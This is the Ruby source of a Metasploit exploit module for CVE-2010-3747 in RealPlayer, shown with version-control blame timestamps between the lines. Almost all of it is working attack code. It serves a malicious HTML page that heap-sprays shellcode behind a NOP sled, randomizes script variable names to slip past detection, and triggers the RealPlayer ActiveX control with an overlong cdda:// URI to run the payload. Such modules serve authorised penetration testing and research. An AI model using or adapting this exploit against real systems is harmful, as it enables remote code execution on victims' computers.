2011-03-17 15:42:28 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2011-03-17 15:42:28 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = NormalRanking
|
2011-03-17 15:42:28 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
2011-03-17 15:42:28 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'RealNetworks RealPlayer CDDA URI Initialization Vulnerability',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a initialization flaw within RealPlayer 11/11.1 and
|
|
|
|
RealPlayer SP 1.0 - 1.1.4. An abnormally long CDDA URI causes an object
|
|
|
|
initialization failure. However, this failure is improperly handled and
|
|
|
|
uninitialized memory executed.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'bannedit',
|
|
|
|
'sinn3r'
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2010-3747' ],
|
2016-07-15 17:00:31 +00:00
|
|
|
[ 'OSVDB', '68673'],
|
2013-08-30 21:28:54 +00:00
|
|
|
[ 'BID', '44144' ],
|
2013-10-21 20:07:07 +00:00
|
|
|
[ 'ZDI', '10-210'],
|
2013-08-30 21:28:54 +00:00
|
|
|
[ 'URL', 'http://service.real.com/realplayer/security/10152010_player/en/']
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1000,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'RealPlayer SP 1.0 - 1.1.4 Universal', { 'Ret' => 0x21212121 } ],
|
|
|
|
[ 'RealPlayer 11.0 - 11.1 Universal', { 'Ret' => 0x21212121 } ],
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => 'Nov 15 2010',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
2011-03-17 15:42:28 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def on_request_uri(cli, request)
|
|
|
|
# Re-generate the payload
|
|
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
2011-03-17 15:42:28 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
mytarget = target
|
2011-03-17 15:42:28 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# the ret slide gets executed via call [esi+45b]
|
|
|
|
retslide = [mytarget.ret].pack('V') * 750
|
|
|
|
cdda_uri = "cdda://" + retslide
|
2011-03-17 15:42:28 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Encode the shellcode
|
|
|
|
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
|
|
|
nops = make_nops(8)
|
|
|
|
nop_sled = Rex::Text.to_unescape(nops, Rex::Arch.endian(target.arch))
|
2011-03-17 15:42:28 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Randomize Javascript variables
|
|
|
|
var_blocks = rand_text_alpha(rand(6)+3)
|
|
|
|
var_shellcode = rand_text_alpha(rand(6)+3)
|
|
|
|
var_index = rand_text_alpha(rand(6)+3)
|
|
|
|
var_nopsled = rand_text_alpha(rand(6)+3)
|
|
|
|
spray_func = rand_text_alpha(rand(6)+3)
|
|
|
|
obj_id = rand_text_alpha(rand(6)+3)
|
|
|
|
html = <<-EOS
|
2011-03-17 15:42:28 +00:00
|
|
|
<html>
|
|
|
|
<head>
|
|
|
|
<script>
|
|
|
|
function #{spray_func}() {
|
2013-08-30 21:28:54 +00:00
|
|
|
#{var_blocks} = new Array();
|
|
|
|
var #{var_shellcode} = unescape("#{shellcode}");
|
|
|
|
var #{var_nopsled} = unescape("#{nop_sled}");
|
|
|
|
do { #{var_nopsled} += #{var_nopsled} } while (#{var_nopsled}.length < 8200);
|
|
|
|
for (#{var_index}=0; #{var_index} < 19000; #{var_index}++)
|
|
|
|
#{var_blocks}[#{var_index}] = #{var_nopsled} + #{var_shellcode};
|
|
|
|
}
|
2011-03-17 15:42:28 +00:00
|
|
|
#{spray_func}();
|
|
|
|
</script>
|
|
|
|
</head>
|
|
|
|
<object id=#{obj_id} classid='clsid:CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA' width=0 height=0>
|
|
|
|
<param name="CONTROLS" value="ControlPanel">
|
|
|
|
<param name="src" value="#{cdda_uri}">
|
|
|
|
</object>
|
|
|
|
<script language="VBScript">
|
|
|
|
#{obj_id}.DoPlay
|
|
|
|
</script>
|
|
|
|
</html>
|
|
|
|
EOS
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Sending #{self.name} HTML")
|
|
|
|
send_response(cli, html, { 'Content-Type' => 'text/html' })
|
|
|
|
end
|
2011-10-17 03:49:49 +00:00
|
|
|
end
|